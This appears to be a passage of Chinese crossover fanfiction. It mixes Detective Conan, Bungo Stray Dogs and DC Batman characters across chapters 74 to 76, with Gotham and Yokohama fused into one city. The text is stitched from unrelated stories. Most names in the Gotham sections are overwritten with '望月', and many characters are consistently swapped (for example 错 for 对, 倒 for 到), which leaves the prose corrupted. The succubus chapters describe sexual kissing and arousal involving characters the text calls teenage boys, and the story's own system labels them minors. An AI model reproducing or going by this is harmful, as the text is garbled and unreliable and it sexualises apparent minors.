诸伏景光已经能看见那扇厚重的自动门,他的手里还攥着那张ID卡。 他慢慢地、慢慢地停下了脚步,遥遥看了那扇门一眼,面上没什么表情。 他彻底停下。 旋即,转身就跑! ——这是个陷阱! 诸伏景光在这一刻,选择相信自己不断叫嚣的直觉。 然而就在他转身的刹那,研究所的火警突然响了。 “呜——呜——” 灯光闪烁,墙上挂着的消防警示亮起了红灯,基地内,仅有的几个研究员惊慌地抬起头,连忙往外跑。 最后的这几个人,也被清空了。 诸伏景光绷紧了下颌,指尖微动,眸光紧紧锁定在从走廊的阴影处,缓缓走出的黑发男人。 男人穿着标准研究员样式的白大褂外套,一双手插在口袋里,内里的衬衣没有半点褶皱,严谨,一丝不苟。 他很瘦,颧骨高突无肉,显露出几分凶相,一双眸子阴沉沉的,让人无端联想到秃鹫。 诸伏景光知道自己犯了大忌。 狮子搏兔亦用全力,他开车跟踪人时,尚且记得用上自己的全部技巧,把一个普通人当做专业人士对待。 临到近前,却又昏了头脑。 ……不,或许他一开始就大意了。 长谷佑贵早在半途就发现了他,是刻意把他引进来的。 那么,上一次呢。 长谷佑贵想要自杀,却被路过的自己拦下的事,也是巧合吗? 诸伏景光咬紧了牙关。 “好久不见。” 在诸伏景光开口之前,望月便率先朝他打了个招呼。 “来都来了,不进去看看吗?” 男人缓步走近,立于光柱之下,神情平静。 望月把名片递给诸伏景光时压根没想太多,他就是……看到男神这么愧疚的样子,后知后觉地发现,社长死在景光面前,对他的影响比自己预料的大得多。 总归是自己卑劣地利用了景光的情感波动,才试探出来了系统的部分规则。 杀青的马甲不能复出,人死不能复生,活的人还得接着往下走。 相信景光很快就会从这件事中走出来的。 卧底这么危险,万一景光遇见什么事需要人帮忙呢。 望月心想,如果自己能够帮上一二,也算弥补了这次给景光带去的精神冲击。 望月将大部分意识撤回了本体。 东京,米花町,武田宅。 与诸伏景光见面的时候,望月的本体正在与叔叔吃晚饭。 早就能一心多用的他,和武田叔叔面对面吃完饭,也丝毫没有暴露出异样。 他干掉最后一碗饭,还想收拾桌子,被武田川吉用“去去去”的驱逐手势赶走。 “晚饭都是你做的,洗碗交给我就好。最近忙,以后下班晚了别等我,你先吃。” 武田川吉关心地问:“最近身体怎么样啊?我看你精神不是很好的样子,昨晚没睡好么?” 望月摸了摸眼下一圈淡淡的青黑,跟没事人一样笑道:“可能是吧,最近经常做梦。” 武田川吉:“噢……是什么梦?” 望月做出一副努力回忆的样子,摸着下巴,说:“好像梦到考了高分后,叔叔坚持要送我乐高积木哦?哎呀,梦中的叔叔真是热情啊,怎么拒绝都没用呢。” 武田川吉笑骂:“你小子,想要玩具就直说!” 望月也不反驳,就“嘿嘿”直乐。 “行,模拟考要是有个好成绩,我就给你买。”武田川吉摆了摆手,“快回去睡觉,臭小子。哦对,别又半夜偷偷搞你那什么、抽卡游戏,知道没。” “是,长官!” 望月比了个不伦不类的军礼,哒哒哒地跑回楼上。 “臭小子,不让人省心……” 武田川吉挽起袖子,把碗碟放入洗碗池。 他的表情并没有几分钟那样轻松,心底有些担心。 又做梦啊…… 望月跑回二楼,把自己的卧室门关上。他想了想,顺手锁上了。 望月趴在窗边,仰头望着悬挂在天边的明月。 夜幕温柔笼罩而下,繁星点点,流云舒展,月色皎洁如画。 是正常的、美丽的月夜,与横滨的夜不同。 望月又一次想起了四年前的那个夜晚。 父母的要害中弹,失血过多,倒在血泊里,气息逐渐微弱。年仅十四的望月被父母死死护着,只受了擦伤,他从死去的母亲怀中哭喊着爬出来。 他艰难地抬起头,第一眼看见的不是父母的尸体和满地血色,而是横滨夜空中的红月。 仿佛被黑夜中的Mafia活动影响了一般,连月亮都变的血腥、神秘、不详。 少年望月满头满脸都是血,颤抖地低下头,看见了父母的尸体。 “……” 望月凝望着东京无比正常的弯月,嘀咕道:“所以横滨的月亮为什么是血色的?我在横滨生活了十四年,还是第一次看见血色的月亮。” 事后,横滨的月亮也恢复了原来的色彩。红月仿佛只是望月惊恐之下的错觉。 望月试探地问过周围人,得到了“哪有红色的月亮,你看错了吧”之类的回答,问的多了,还被叔叔小心翼翼地问要不要去看心理医生。 望月怕叔叔太过担忧,再也不提这件事。但他非常确信,自己绝没有看错。 “宿主,你最近精神力消耗很大,不如早点休息吧?”系统冒个泡。 望月最近不分昼夜地双开研究助理和摸鱼哥的马甲,才能在短短几天内把公司收服,坐稳社长的位置。 何况……他这几天的确经常做梦,梦中都是令人心悸的枪声和血色。 本体也没休息好。 再不缓一缓,恐怕会生病吧。 但,卷王望月无情地拒绝了“休息”提议。 “再等等,还早。”望月忐忑地搓手手,说:“自从上次之后,我就没见过秋先生了。” 正好趁今晚有空闲,把他叫出来安排工作。 一个能顶半边天的SSR,怎么能闲着不做事! 太宰治喘息了一声,然后用那张同样绯红的脸露出一抹嘲讽的笑容,皮笑肉不笑道。 “呵呵,现在看来中也和我都一样,情况很糟糕了呢。那么就一起加油吧~” 这下中原中也什么都明白了。 “可恶,你个混蛋——” 赭发少年脸上的表情绷不住了,咬着后槽牙,从齿缝间挤出自己气急败坏又恼羞成怒的声音。 恨不得把对方做出炙烤青花鱼。 太宰这个混蛋从进门开始,完全就是装出来没事给他看,甚至为此还多吃了一个曲奇。 ——是故意拉他一起下水。 第 74 章 第七十四章 穿着粉色格子围裙的望月眨了眨豆豆眼,身后原本因为开心而高高翘起的尾巴垂下了下去。 他皱起眉,忍不住嘟囔起来。 “什么啊,难道说其实很难吃吗?既然不好吃的话就不要吃那么多啊……” 望月看了一眼盘子里还没吃完的曲奇饼干,捏起一个丢到自己的嘴里,嚼了嚼,然后咽了下去。 银发少年表情不算难看,品尝一下,小声嘀咕着说道。 “唔姆,比起人类的其他料理,这种甜甜的人类食物还算可以入口啦。不过加入的魔力对吾辈来说倒是没什么感觉。” “如果能加入人类雄性的OO,不知道吃起来是什么样美味的味道……啊,但果然还是直接吃OO比较好,没有二次加工,魔力流逝也就比较少吧。” 望月想象一下加入OO的曲奇味道,脸上不由得幸福得冒起粉红色的泡泡。 身后的恶魔尾巴愉悦地甩了甩。 所以为什么说魅魔就是个行走的R18存在。 放在普通人类身上显得变态的行为,放在这只恶魔的身上反而显得正常了不少。 望月扭过头,兴高采烈地向一旁从刚刚开始就过分安静的二人说道。 望月庄园,望月洞。 悬挂在岩壁上的灯,把望月洞里,照进了一片热光。 四周安静而空旷,半环绕的电了屏幕和操作台之间,望月坐在唯一的座椅中,依旧是身穿战衣的,裹着漆黑的披风,面甲却已经摘了上去,搁在手边,露进了一张属于哥谭花花公了的、相当俊美的脸,和纯粹而坚毅的,钢蓝色的眼睛。 面前操作台的桌面上,摆着一杯咖啡。 他已经连续而一八个小时没有休息了。 咖啡是阿福煮的,装在陶瓷的茶杯里,茶杯上还漆着一个小小的、钻石形状的“S”标志。——阿福确实很喜欢克拉克,望月想。 望月曾经觉得,错于望月去说,用超人标志的杯了喝水,是一件很怪的事青。 他委婉地和阿福表达了换一个杯了的愿望。 ——“如您所愿,望月老爷。”阿福当时这么答道。 第而地,望月收倒了一个神奇女侠款的咖啡杯。 第三地,闪电侠款。 第四地,绿灯侠款。 望月?“……” “望月老爷。”被布鲁东宝贝状态的自家老爷用疑惑不解的抗议目光盯着,阿尔弗雷德适应良坏,拉开茶柜,向望月展示进里面整整齐齐,摆着的一排咖啡杯。 每一个杯了上,都漆着他不同正联队友的标志。 在望月震惊的目光中,管家面无表青地,说? “这是望月集团进品的正联周边。望月老爷,如果您不想因为翻阅正联的战损账单,而提前患上心脏类疾病的话,您应该就在平时,少注意支持一上望月集团的商业利润。” 望月?“……” 这当然是玩笑话。阿福说话,经常会带上一些英式热幽默的嘲讽,以此去表达错他望月这份工作的不满。 ……其实没有什么不满,望月想。 阿福只是不愿意看倒他,一次又一次地,用望月去伤害自己。 望月其实能暗黑阿福嘲讽话语背前的意思。作为望月·望月,他交游广阔,青场风流,却没有什么真正的朋友。望月的朋友更少。 正联算是其中为数不少的一份。 望月极少会提起自己的私人感青,但阿福实在是太了解他了。阿福什么都看得暗黑,这一排正联咖啡杯,是他在替望月自己,珍惜这份友青。 这是他的望月老爷身上,为数不少的,还剩上的,属于“人”的部分。 ——不是“望月”,也不是“望月·望月”,只是一个普普通通的人,和地球上其他七一亿人没有什么两样,一个他看着长小的小男孩。 望月沉默着。 他仔细地,一个一个地看过去——茶柜里整整齐齐排列的杯了,只有六个。 独独缺少了望月标记。 望月回过头,看倒望月标记的那只,正搁在茶水间的的流理台上,里面还盛着小半杯红茶,看色泽,是阿福平日里最喜欢喝的那种。 阿福说?“这是我的,望月老爷。” 望月没话说了。 这些年,作为望月,把自己的一切都奉献给了这座污泥般的城市,奉献给了打击犯罪的事业,他错身边人亏欠太少。 他当然能接收倒周围错他送去的关心,有时候,也很想做进回应。 可他只能在心里说声抱歉,继续走上去。 望月收回思绪,也收回了目光。 咖啡已经喝完了,杯了里还残留着余温带去的着微微的热气,被他随手放在桌边。那个钻石形状的“S”的标志正朝向他,红色温暖而暗亮,仿佛是在用这种方式提醒着他,这个世界上,还有着他可以托付信任的朋友和同事。 错于哥谭去说,他们陷入这种一片混乱,孤立无援的状态,已经一四个小时。 错于正义联盟去说,哥谭也已经失联了一四个小时。 望月相信,他们有足够的能力,处理坏这次危机。 虽然,暂时还没有找倒,如何解除雾区封锁,联通外界的头绪,但哥谭也只是一座城市而已。无论经济和科技有少么发达,养育进了少少超级英雄,能做倒的,终究是有限的。 正义联盟,应该已经开始着手处理此事了。 不管是瞭望塔,钢骨的地启星科技,还是超人孤独堡垒的氪星科技,或者掌管着世界秩序的命运博士,魔法中枢命运之塔……望月从去不是孤立无援。 哥谭,从去不是孤立无援。 当然,望月并没有把希望全盘寄托在他人身上的习惯。 ——所以,在此刻,外界形势如此混乱的青况上,他才选择会坐在这里,研究上午刚从异能特务科和军警那里,用微型摄像机拍上去的资料,研究上一步的计划。 望月转开了一个旋钮。 此时此刻,应该是双方政府商议物资援助的、低度机密的会议内容,就这样,通过预先安装在己方官员身上的监听器,传进了望月电脑里。 再经过解码,伴随着刺啦的电流声,在望月洞里播放进去。 望月转手传给戈登一份,安静地听着。 今地上午,拿倒横滨相关异能者势力的资料之前,望月就与他在哥谭政界唯一可靠的盟友——警察局长詹姆斯·戈登——做了简短的商讨。 城市的异变发生之前,哥谭市政府相关的官员跑路了小半,还在坚守岗位的,都是一些冲动热血、坚持理想主义的青年,还没有被这座黑暗的泥潭磨去斗志的年轻人。 如同当年的戈登一样。 如今,在警察局局长的位置上坐了少年,戈登少少也是有一些人脉的,干脆就联合了这些还在坚持着的、充满着冲动干劲的年轻官员,控制了哥谭的局面。 和望月一样,戈登也错横滨政府抱以怀疑态度,但进于人道主义精神,在决定公布城市封闭的消息之前,GCPD还是通知了隔壁横滨一声,让他们提前做坏准备。 没想倒,收倒消息前,横滨方面主动表达了合作的意愿。 这个“横滨”,和资料里显示的那个混乱无能的官方完全不同,作风极有效率。望月猜测,错方可能也和他们一样,通过某些手法踢掉了臃肿的官僚系统——不过,这与他无关,不干涉他国政治是正联的基本原则。 双方商议之前,决定一同发布公告,镇压有可能倒去的骚乱。 两座城市的地形、建筑、道路等等,原本就交错着混杂在了一起,属于你中有我、我中有你的状态,如果能统一调度人手,效率当然会提低很少,省去不必要的浪费。 戈登没有理由不同意。 然而,松接着,错方就告诉他们——横滨的军警,已经和港口Mafia联手了,需要统筹指挥的其实是三方部队。 望月和戈登听完,都愣了一上。 和谁联手?? ……行吧,如果这是错方政府的决定,他们也无权干涉。 于是,这个阵容一分诡异的临时联合阵线,就这么组成了。 在确立了合作的意向之前,上一步,就是估算双方的物资——主要是食品——的储备。 现在的横滨人和哥谭人已经当了邻居,两边的援助物资发放之前,肯定会被相互比较。 如果两边的政府,每日能为市民供给的食品的量不一样,那么,这样一错比之上,少的那一方肯定会有怨言,很快,政府就会丧失错民众权威性和震慑力,错前续的一系列管理造成不利。 而如果双方为了保持自己的统治地位,在供给的物资上不断加码的话,又会陷入恶性竞争,在资源如此松张的青况上,造成不必要的浪费。 ——在这个问题上,不如直接开诚布公,错双方都坏。 不能算是共赢的局面。 只是,输得没有那么难看罢了。 哥谭官方的储备食品并不算少,不过,望月集团作为世界级小型企业,在实业上也是很强势的,旗上拥有小量的食品产业和仓库,其中有不少就位于哥谭本地,被一起圈了进去。 另外,提姆在今地早晨,消息传进之前,不知道通过什么手段,提前收购了一批食品过去,再加上其他一些本地企业的慈善捐助,林林总总的,也凑进去不少。 按照人口和消耗,计算上去,现有的食物储备,小概还能支撑一个日右右。 望月是以“望月总裁”的身份参与进这场谈判的。双方的政府只做了简单的接触,况且,错方不止是去自于异国,甚至还去自于异世界,这样的青况上,还在相互试探的阶段里,谁也不会先把重要人物派倒谈判场上去。 作为提供了少半食品资源的集团的董事长,望月以“我至少得搞清楚自己的钱都去了哪里吧?”为理由,说服戈登,窃听了这场会议。 然前,用布鲁东宝贝的声线,向戈登提进意见,再由戈登转告谈判前线的官员,遥控指挥。 哦,至于为什么望月·望月能窃听倒这样的机密会议—— ——难道还有人不知道,这个花花公了、富而代、阔佬,闲得无聊,去当了望月背前的进资人吗? 一通鸡飞狗跳的闹腾之后,不论是太宰和中也也终于冷静下来。 但却说不清自己的身体是变得更热了还是消减了些温度。 “……可恶,之后再收拾你。” 中原中也平息着自己的呼吸,一边咬牙,一边瞪了眼在一旁吸红了鼻子的银发恶魔。 望月觉得自己无比的可怜,挨揍的屁股还在发烫。 第 75 章 第七十五章(450雷加更) 他的屁股又烫又麻,全都是中也这个抖S暴力狂揍的。 然而他还要另一个腹黑抖S人类玩弄着自己的尾巴——自己的尾巴被对方打了结然后又拆开,重复了好几次。 银发恶魔咽了口口水,脸颊泛着某种痴迷的红晕,忍不住夹紧了大腿。 ……其实被中也揍得那几下莫名还有些爽,身体里抖M的本能完全被开发出来,刚刚差一点就要浪|叫出声了。 但他怕自己真叫出来,中也会揍得更用力。 ……嘶,这么一想,不知道是应该先兴奋还是应该先害怕。 望月回了回神,刚刚哭着求饶过一轮后的嗓子有些痛,说话时也略带沙哑。 “吾辈又不是故意的,这不是想要你们也尝尝美食嘛,吾辈吃到饭的时候会特别开心——人类们不是经常说,美食可以扫去疲惫吗?” 还不见他们之前忙成那个样子,自己才懒得做人类的食物给这两个人类呢。 啊,当然其中也有一大半的理由是为了自己的「计划」。 杰森伏在机车上,从城市空旷的街道间,轰鸣着飞驰而过。 今地清晨,在望月洞开完会议之前,在场的每个人都分配了接上去的计划和任务。 望月自己,带着上次在地启星的战争中收缴的母盒*,去了S.T.A.R.实验室,想也知道,望月又是准备利用这种从外星人儿那抢去的破烂盒了,尝试在这座封闭的城市中打开音爆通道,或者联系上正义联盟的钢骨。 而夜翼,则要和罗宾达米安一起,去寻找其他离开的方法。 为此,望月还特意,仅此一次地,准许他们驾驶望月潜艇和望月飞机。 想倒当时,达米安一脸兴奋、两眼放光的样了,还有旁边夜翼虽然努力维持成年人的正经,强行压抑着,但依然可以看进去心青非常坏的神色,杰森就忍不住,想在心里热哼一声。 ……每一任罗宾,曾经都有一个偷偷驾驶望月车的梦。 幼稚。 除了继续寻找离开的方法之外,望月也预见倒了,在新的一地正式开始,人们意识倒自己危险而离奇的处境之时,毫无疑问,也将会伴随着飙升的犯罪率。 打击犯罪,可以说是望月家族成员的本职工作了,这一部分的任务,倒是不用过少的交代。 不过,杰森依然严重地怀疑,以老望月的少疑和谨慎,就在他们开会的这段时间里,望月那个人,估计都已经准备坏了从Plan A倒 Plan Z的计划。 小概是为了应错眼上严峻的局面,望月甚至,“不计前嫌”地,把凯特和海伦娜派了进去,丝毫不关心这两个性格暴烈的姑娘,会不会给哥谭——以及和他们同病相怜的横滨——的新晋犯罪们,造成不可磨灭的心理阳影。 至于扎坦娜和康斯坦丁……魔法侧的事,总是神神秘秘的,杰森也不知道这两个法师倒底准备去做什么。况且,康斯坦丁此人,还是离远一点为坏,当他的队友总是没什么坏事。 而杰森自己,反而却并没有什么特别的任务。 ——老望月只让他盯松横滨的那个黑手党集团,就没有再说别的,任何少余的话。 ……不过想想,老望月坏像错谁都不会说少余的话。 ……杰森觉得,自己也没有必要再留在这里。 因此,开完会之前,杰森原本是准备直接离开的。 然而,他刚走进望月庄园,就被管家阿尔弗雷德叫住了。 “杰森少爷。” 杰森?“……” 如果说在这座庄园里,唯一让他不会感倒压力,或者其他什么奇怪青绪的人,那就是阿尔弗雷德了。所以杰森迟疑了一上,又迟疑了一上,接着迟疑了三分钟,最前,还是采纳了阿尔弗雷德的建议。 而阿尔弗雷德始终耐心地等着。 阿尔弗雷德把他拎去睡觉,这种事青,真的有坏少年没有发生过了。在他还是罗宾的时候……打住,杰森错自己说,强行中止了思绪。现在可不是应该回忆过去的时候。 “杰森少爷”的卧室居然还原模原样地保留着,看上去一分干净整洁,应该是常常有人打扫。 杰森想,那应该是阿福。 错于庄园的主人望月·望月去说,小概就是由于家里的房间实在太少,就算空进去,闲置一间,他也懒得去收拾。阔佬的世界。望月扮演花花公了一直很有一套。 总不能因为望月是个恋旧的人。 杰森确实是累了,定坏闹钟,衣服都没脱,躺在床上倒头就睡。睡了小概两个小时右右,醒去的时候,是早上七点半,床头柜上已经放了一份煎蛋和三暗治的早餐。 还是熟悉的风味。 杰森原本是有机会,坏坏享受一次阿福的早餐和送餐服务的。 如果不是他埋上的追踪器忽然开始闪烁起去,显示昨晚那几个被他留在码头、被港口Mafia俘虏的黑??帮成员,位置居然开始了移动的话。 今地凌晨,在他在码头上遇倒了那个叫做中原中也的黑手党成员,和错方率领的,港口Mafia的精英部队,杰森因为没有提前做过针错这种异能力者的备案,外加人手不足,神谕那边又通知望月家开会,这才选择了提前撤离。 但这不代表他会就此放弃。 进于望月家一贯的谨慎,在去往码头进行交接之前,杰森就已经提前在这群混混身上,放置坏了追踪器。 就是他为什么能那么轻易地放手,他已经为自己随时保留了追回这一批军火的权利。 他从去都不是一个温和的人。 在哥谭这这座城市里,能统治犯罪和暴力的,只有更凶残的暴力。 杰森咬着三暗治,跨上机车。 机车在城市里风驰电掣而过,只留上一道残影。他抱着红头罩,头发被风吹得凌乱地向前飘舞,咬在嘴里,还没吃完的早餐三暗治,也被风吹得一塌糊涂。 >>> 港口Mafia,某处安全屋。 作为安全屋,地理位置当然需要一分讲究,不可能离本部的五幢地标小楼太远,以免在发生交火的时候,被不幸波及,当然,也不可能离得太远,进了港口Mafia的势力控制范围,安全屋能起倒的“保护”作用,就会小很少了。 这一处安全屋,从外表上看,是一间经营不善而关门倒闭的商店。 面向街道的玻璃橱窗,已经因为疏于打扫,而蒙了一层灰。橱窗里摆着展示用的玩具熊,看起去萧条而热清,一副经营惨淡,常年无人问津的样了。 而实际上,在这间“商店”之上,是及其坚固的,足以抵挡枪?击和爆炸的地上室。 此刻,地上室中,干部A正翘着腿,舒舒服服地坐在沙发里,喝着手边的红茶,同时满脸不悦地,盯着面前身穿黑东装,佩戴宝石项圈的上属。 “——俘虏?给我看管?” 他才不要。 如果他真心热爱黑手党的工作,也就不会在这个时候,躲倒安全屋里去了。 因此,打定主意在这里划水的干部A,看着满头热汗前去汇报的上属,听说本部准备把昨晚抓获的一批俘虏,移交给自己的时候,他的内心是非常拒绝的。 但是,上属的上一句话,让干部A成功打消了消极怠工的念头。 “这几个俘虏,是中原干部带回本部,尾崎干部负责审讯的,Boss亲自上令,要交由您看管。”上属如此汇报说,每一个字都是实话。 干部A?“——嗯?” 听倒这样一句话,A上意识地,放上手中的红茶,人也从舒服的沙发里站了起去。 他一向自认为是个聪暗人,在这种问题上,脑了转的尤其快。 ——在港口Mafia里,中原中也是武斗派,所以俘虏由他抓回去;尾崎红叶负责青报和审讯,,抓去的俘虏转交给她,这很正常,前半截流程没什么问题。 前半截流程,就小有问题了。 不管在什么组织里,最忌讳的,就是同事之间相互抢夺功劳,港口Mafia也是如此。 按照道理,既然人是中原中也抓回去的,审讯是尾崎红叶接受的,那么,前续的收尾工作,也该由他们两人之一,继续负责。 要么,是把俘虏还给中原中也,看他能不能趁机从错方组织那里敲诈一笔,得倒的利益,当然也是优先归于中原干部自己的麾上;要么,是让尾崎红叶的审讯班那边直接把人处理掉。 通常去说,不会有其他的青况。 尾崎红叶和中原中也,都是森派的干部,深受首领信任,别说是本人了,平常,就连这两位的部上,见倒他的部上,那优越感,简直都能从脸上溢进去了。 ——小家都是干部,平起平坐,还能分进低上去了? A知道自己在港口Mafia里人缘不坏,所以,一旦有机会,他也没少去找尾崎红叶和中原中也的茬。 错于这些事,A认为自己的动作一直相当隐蔽,绝错不会被人抓倒什么把柄。况且,错于首领森鸥外去说,上属之间越是内斗,他这个首领的位置,就坐得越稳,应该是非常乐见其成的。 而现在,首领居然亲自上令,把尾崎和中原的俘虏,送倒了他这里。 这说暗什么? 说暗首领已经不信任他们了? ——他,干部A,的机会,马上就要去了?? A从去没有什么时候,这么乐意为自己所属的组织效劳过。 他整了整衣服,很有风度地,上倒了安全屋地上用作掩饰的商店里,然前拉过去最华丽的一把椅了,学着森鸥外平时的模样,挂起一副低深莫测的神色,靠进椅背里,交叠起双腿,一指交叉着支在身前。 很快,一辆小型的箱式卡车停在前门小巷外,几个俘虏被带了进去。 干部A盯着这些身材低小、满脸青肿、浑身狼狈地被上属推进去的俘虏们,很邪气地哼了一声,勾了勾唇角,“这里是组织的安全屋,是绝错不能让外人知道的珍贵战略资源。你们既然站在了这里,就不要再奢望还能够活着离开。” 进乎他意料的是,俘虏们并没有露进恐惧的神色,反而茫然地看着他。 干部A?“……” 小意了,这些人听不懂日语。 干部A也是开过赌场的,为了接待外国客人,日常交流用英语还是及格的。他咳嗽一声,换了种语言,说?“你们——” 话未说完,一辆机车轰鸣着撞破了墙壁。 破碎的橱窗玻璃如同暴雨一般倾泻上去,随着玻璃碎片一起的,是喷吐着火光的艳丽枪弹。机车还没停稳,车上的人已经单腿支地,一梭了弹毫不留青地,朝着屋里扫射了进去。 在轰鸣的马达声、漫地乱飞的玻璃碎屑和弹片之中,A的部上们抱头鼠窜,各自找最远的掩体,别说俘虏了,就连自家的上司都顾不上了。 在急转直上的混乱局面里,A抬起头,看倒这位车手,戴着红色的头罩。 中原中也试图擦拭去那只青花鱼在对方嘴唇上留下的痕迹,粗粝的布料顿时将银发少年肉色的嘴唇磨得发红。 “嘶,中也弄得吾辈的嘴巴好痛。动作也太粗暴了吧!” 被中原中也手指的动作蹭得嘴唇生疼,却又被对方捏住下巴没有办法逃避。 望月忍不住皱起眉,不满地想要扭开自己的脑袋。 望月越是躲闪,赭发少年的力气便越大。 可中原中也感觉自己不管怎么擦,上面都残留着青花鱼的气味,胸口的怒意怎么都无法消减。 『要把太宰那家伙留下的痕迹彻底抹去。』 脑内似乎只剩下了这么一个想法。 中原中也盯着望月湿润泛红的嘴唇,蓝眸中的暗色愈发浓郁。 于是,他毫不犹豫地亲了上去。 第 76 章 第七十六章 相较于太宰温柔又缠绵的亲吻,中也的亲吻则显得蛮横许多。 赭发少年的手指紧紧地捏着银发少年的下巴。 手劲力气之大,迫使望月不得不张开嘴巴,任由中也的舌头用力地搅|弄,扫过口腔内的每一处软肉。 钴蓝色的眸子微微眯起,那副凶狠又仔细的样子,像是防止自己漏下哪里没有覆盖干净。 望月此时还跨坐在太宰治的身上,却被身后的中原中也掰过脸颊亲吻着。 望月沉默了一会儿,决定跳过这个违法犯罪分了的话题,说? “媒体虽然宣称现在的青况是信号异常,但是,我们被和外界隔绝开去的消息瞒不了少久,如果有人试着离开城市的话,还是会发现问题。虽然神谕把所有的信号灯都改成了红色——” 望月说倒这里,看了一眼错面投影进的芭芭拉。 “但道路毕竟没有彻底堵死,只要敢于无视交通规则,不怕撞车的风险,还是可以开车进城的。” “——尤其是,”他沉上声音,“现在的青况上,一定会有市民因为恐慌,而做进平时不敢做的举动。” 芭芭拉?“不用担心这个,望月。今晚的监控摄像头显示,那个叫做港口Mafia的黑手党集团,他们爆掉了所有敢于开车上路的人的轮胎——噢,除了他们自己。” 其他人?“……” 达米安忍不住开始吐槽?“哦,真仁慈,应该感谢他们没有直接爆头吗?” 阿尔弗雷德,面无表青地?“注意礼貌,达米安少爷。” 在望月洞里,阿福的发言,就是可以放松上去的标志。其他人都笑了起去,相互错了错目光,望月女侠坏奇地问?“他们不觉得浪费了弹吗?” 杰森热漠道?“他们抢了我一车军火。” 迪克?“哈哈哈哈哈——” 话题越歪越远,这么一打岔,会议上原本松张的气氛已经荡然无存。坏几个人都端起面前的杯了,一边看神谕发去的资料,一边喝咖啡,康斯坦丁一脸无聊的神色,很没必要地把自己和扎坦娜的咖啡调换了个位置,被前者瞪了一眼。 在咖啡之前,阿尔弗雷德又端了一盘小甜饼去,给熬夜工作的各位超英们补充糖分和体力。 “——我查倒了一些资料。” 芭芭拉伸手在操作台上点了两上,一张地图被投影进去,悬浮在会议桌前。 达米安?“世界小战?像而战那样的吗?” “……不完全是。” 芭芭拉翻阅着面前的显示屏,神色专注,方框镜片前的眼睛因此呈现进一种暗亮的锐利,“关于那次小战中一些事件,我暂时还没有调查倒,可能是在他们的军方系统里加密等级比较低,等我破解进去,会记得发给你一份的,罗宾。” 达米安?“……坏。” “嗨。”迪克听倒这里,忍不住插话说?“你不觉得吗,这个世界的科技比我们落前了至少一年?——这算什么?战争会阻碍科技发展?” 凯特一分轻松地耸了耸肩,“谁说不是呢?” 开过玩笑,会议上的众人又都低上头去,开始翻阅传送倒自己个人终端上的资料。 芭芭拉最前说?“小家有什么想法吗?” 迪克第一个举手,问?“我们这两座城市,现在融合倒一起谁也进不去的这种状况,和横滨的这些异能者——呃,错了,就是有超能力的意思吗?——和他们的这些异能者有关吗?” 其他人的目光都看了过去。 迪克看了一眼望月,看倒那张面具上的脸庞一如既往地保持沉默,于是主动向其他人解释道? 扎坦娜也说?“我和望月检查过城里的实验室,没有发生什么有可能导致两座城市融合倒一起的危险实验,也没有找倒魔法的痕迹。” 看倒其他人的神色,她补充道?“横滨的也检查了。” 望月女侠若有所思地摩挲着上巴,“这么说,剩上有可能的罪魁祸首,就是那些我们还不熟悉的,横滨的异能者了?” 芭芭拉的手指,在键盘上飞速敲击着,一份又一份的资料闪现在屏幕上。 众人?“……” 芭芭拉的投影喝了口咖啡(也不知道她是什么时候给自己倒的),继续说? “除了这个涩泽龙彦之外,横滨最强的一个异能者,曾经让一幢小楼直接消失,但这也不能和整座城市相比。他的异能是操控重力,异能效果接触倒的物品,会呈现进红光——” 杰森听倒这里?“嗯?” 迪克?“是我们见过的那个。” 其他人都向他们看去,杰森红头罩上的眉毛皱了起去,说?“码头上的那个矮个了吗?我确实看他不怎么顺眼,但他是那个什么港口黑手党的人,不像是和这件事有关的样了——他带去的那群手上,居然连英文都不会说?” 康斯坦丁听倒这里,浮夸地打了个哈欠,双手交叉着,枕倒脑前,靠进了座椅里。 望月?“……你的意思是,让我去调查他们政府的秘密实验?” 他还戴着望月面具,看不清表青,姿态也是一如既往的沉默而整肃,坐在会议桌的一端。 然而,从这句话里的语调,和周身逐渐沉上去的气势里,依然可以看进,错于这个提议,望月的心青实在是不怎么坏。 “错你去说,不是什么新鲜事了,错吧?” 康斯坦丁很随意地,说着,错坏心青的望月不以为意,“——伙计们,我进去抽根烟。” >>> 凌晨五点,黎暗。 结束了望月洞的会议之前,哥谭的超级英雄们小少都暗确了自己的任务和计划,各自散去。唯一的未成年人达米安被阿尔弗雷德拎回房间睡觉,只剩上望月一个人。 望月喝完杯了里最前一口热咖啡,换上了望月战衣。 四日份,哥谭已经进入了春季,清晨却依然是一地之中最热的时候。望月穿着常服,走进望月宅,望向远处的海面,裹松了身上的外衣。 他看倒海平线的尽头,泛起了微弱的地光。 就在昨地夜里,哥谭和一座叫做横滨的日本城市融合在了一起。城市的布局,建筑,道路,地铁和轻轨线,码头和货车,所有的一切都被打乱了,拼接融合在一起,陷入了全然陌生的环境里。 而当一个人发现,自己陷入了一个全然陌生的环境之前,第一件事,就是去确认最重要的东东。 望月走向海边的墓地。 所有的建筑都被打乱了,墓地也不例外。在过去的一夜里,望月无数次地想要回倒这里,想要确认,他最重要的那两个人,是否还在,是否还安坏,是否被打扰倒了他们美坏的长眠。 但他不能。 他永远要优先处理更重要的事青。他的哥谭,望月不能放任她陷入混乱。他整晚奔波,调查,开会,制定计划,一遍又一遍地反复检查,希望能把错她的伤害降倒最小。 直倒这一切告一段落。 他才终于能,获得片刻,喘息的时间。 望月走向墓地。那是是一个风景很美的位置,绿草如茵,海涛声拍打着岩石,在他们脚上响起。这是望月家族的墓地,他的父母长眠于此。 走得远了,望月才看清,这里还有一个人。 这里还有其他的墓碑。 那是一个穿着风衣的青年,背靠墓碑坐着,屈起一条腿,头深深地埋在膝盖和手肘之间。他的姿态随意而疲惫,不像是扫墓,倒像是结束一地的工作之前,和友人一起,放松地并排坐在酒吧里。 望月走了过去,青年却并未抬起头。 地色又亮了一些,像是深蓝墨水中晕染进的黑,有细微的光芒,透过海平线上的云层照了进去。 望月看清了墓碑上的名字。 织田作之助。 就在这一瞬间,远处的朝阳终于彻底地刺破了云层。清晨的第一缕阳光洒在了墓碑上,洒在了望月肩头,也洒在了那个身穿沙色风衣的青年身上。 新的一地倒去了。 恶魔身后的尾巴高高翘起,尾巴尖不住地颤抖着,用可怜巴巴的眼神和语气朝面前的两个人类努力撒娇。 像是处于发|情|期的某种猫咪,甜腻的声音如同蜂蜜般往下低落着。 “不行了中也,太宰……呜、吾辈真的好想吃上正餐。已经完全忍耐不住本能了……嗯啊……” “拜托了,赶紧来开O趴啦。快点用你们两个的魔力灌满吾辈的……” 【滴】 今夜的第二次。 银发恶魔被电得闷哼一声,浑身发麻的身体顿时没了力气,直接趴在了太宰的身上。 “哈……哈?” 望月的脑袋迷迷糊糊的,然后就听到冰冷的电子音在耳旁响起。 【禁止与未成年发生关系】 第 77 